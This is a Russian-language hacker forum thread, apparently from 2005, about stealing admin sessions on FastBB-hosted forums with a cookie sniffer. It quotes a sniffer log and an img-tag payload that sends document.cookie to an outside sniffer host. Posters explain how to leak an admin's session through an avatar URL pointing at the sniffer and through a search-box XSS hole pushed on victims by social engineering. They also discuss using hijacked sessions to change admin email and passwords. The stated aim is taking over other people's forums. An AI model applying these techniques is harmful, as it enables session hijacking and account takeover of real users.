Ваш Сниффер
 

Вот блин поставил на fastbb форум ваш сниффер ! но он почемуто куки неприсилает !
[Sat May 14 11:37:49 2005] IP=<IP>
SITE=burned.fastbb.ru
REFERER=http://<some forum>.fastbb.ru/re.pl?-00000001-000-0-0-0-1116067159-0
QUERY=+document.cookie
AGENT=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0

:( хелп

Но присылает, потому что эксплойта как такового у тебя нет))
Приведи текст который ты вставляешь в форум...

ну на fastbb ето выглидит так :
http://antichat.ru/cgi-bin/s.jpg?+document.cookie
в IMG тэгах

Ты что-ли просто вставляешь "http://antichat.ru/cgi-bin/s.jpg?+document.cookie" в bb-код [img] ???

да! потому я и подал сюда тему что-бы узнать как превелно сниффером ползаватса

Значение кукисов можно получить только скриптовой инъекцией ...

Вы непонели! Ладно задам вопрос по другому..

Можно ли вашем сниффером украсть куки на fastBB ? И если можно то как (как точно надо вписать в теги?

если есть хсс в фастББ то ознакомиться с багой и с помощи той же баги вставить сниффер , а обычно путем жаваскрипта

во.. а тут по подробнее....

ну блин ! из вас когда-то кто-то ломал фастББ ? если да то напишыте как..

Гыы гы, сынка ,лол =)© ПРосто вспомнился анекдот...
А так ищи в багтраксе баги...

Хм. Посоветуйся с gh0st'ом, он ломал.
Вообще-то, защита от скриптовых инъекций там хорошая, прямо не подберешься.
Но есть очень хорошая штука, при установке аватара, посылаешь админу линк: http://sniffer, и потом оперативно воспользуешься его сессией

Не всё так сладко как кажется, к сожалению, у меня не сохранилось ни скинов, ни самого аккаунта, ни разработок моих,(и всё после болезни соего винта....:( ) но скажу я так, что через аватарку трюк прокатит. если только админ наркоман. Тут такая проблема, что сразу аватарку добавить нельзя, пока её не проверит лично админ, а в админке отображаются не сами картинки, а адресс к ним. Такой вот подлом. Тем более какой понт с сессии, если идентификация идет также и по кукисам.
Ещё была одна дыра, в поисковой системе(можно было нарушить структуру тега и выйти за его пределы). И хоть запрос ишел методом POST, т.е. не отображался в url строке, можно было сделать небольшой финт. Преводим весь сплойт в другую кодировку, и банальной СИ заставляем лоха вставить этот сплойт в запрос на поиск. Куки улетают.

Пантерка =))) в соавторы мну надо было приписать =)

я другую фишку придумал как заставить АДМИНА залесть по такой вот ссылке... и его хеш у меня в кармане... тока вот сам помнишь.. запарка осталась с корректным составом урла

Не торопись) Я покороче хотел объяснить просто, а получилось не понятно)
Смысл в том, что ты отправляешь админу урл картинки для установки аватара: http://sniffer/1.php
У админа эти картинки все отображаются в панели. Не зависимо от того, будет он подверждать аватар или нет, его REFERER уйдет на сниффер. А по нему зайти уже не проблема. потому что в админке идентификация строго по сессии, причем после нового захода в админку, старая сессия тоже будет действовать. какие ограничения - не проверял.

Не просто картинки, а именно все url`ы картинок.

Ну а чтоб ушла сессия, надо сделать XSS иньекцию, а насколько я помню, её там сделать проблематично.
Хотя, я понял что ты имееш ввиду....
Т.е. чтоб он прошел по ссылке http://site/1.jpg, где картинка выступает в роли сниффера.....ага....теперь понял. Рефер уходит...... Но тут главное не спалится.....
А насчет идентификации в админку по сессии, спорить не буду. так как я не помню уже. Надо будет заново создать акк., поискать чё нибудь. Хотя, неужели там куки не играют роли??? Блин, не помню...:(

Хм знат.. Я видел в 8 показывается таблица с самими картинками, поэтому для того способа инъекций не нужно, - админ просто просматривает страницу с запросами на аватар и его сессия уходит на сниффер. Далее можно доработать скрипт, чтобы он выполнял какие-либо действия, используя id, то есть автоматизировать процесс

Ну хз, я работал с FastBB, где-то в марте ещё, и там, в админке, выдавалась таблица не с картинками, а именно с самими путями к аватаркам. Так вот.
Как я уже говорил, к сожалению никаких разработок у меня не осталось:(

З.Ы. Да и вообще, там щас имхо структура поменялась конкретно. Они поменяли движ =( Поиск убрали =( И т.д.=(

А что, куки для авторизации не нужны ? Достаточно одной сессии?

Nu tak mogno ge zayti libo po podmene cookiesov libo po referere, dopustim otrubil admin u sebya v brousere cookie, dostatochno tol'ko sessii!

В марте действительно XSS через аватару работала на ура. Хреново, что пас в куках не хранился, только сессия тырилась, а у нее срок жизни.... Зато можно было без проблем сменить мыло и пас.

А в мае действительно поставили новый движок, да еще так по дебильному, что у меня теперь админский пас к своему тестовому форуму не подходит, и выслать его нельзя. К тому же регистрация временно прикрыта.

Вот блин, а я думал что это только у меня такое "счастье", оказывается нет =( =( =(.
Будем надеятся что скоро всё будет ОК, и можно будет продолжить тестирование.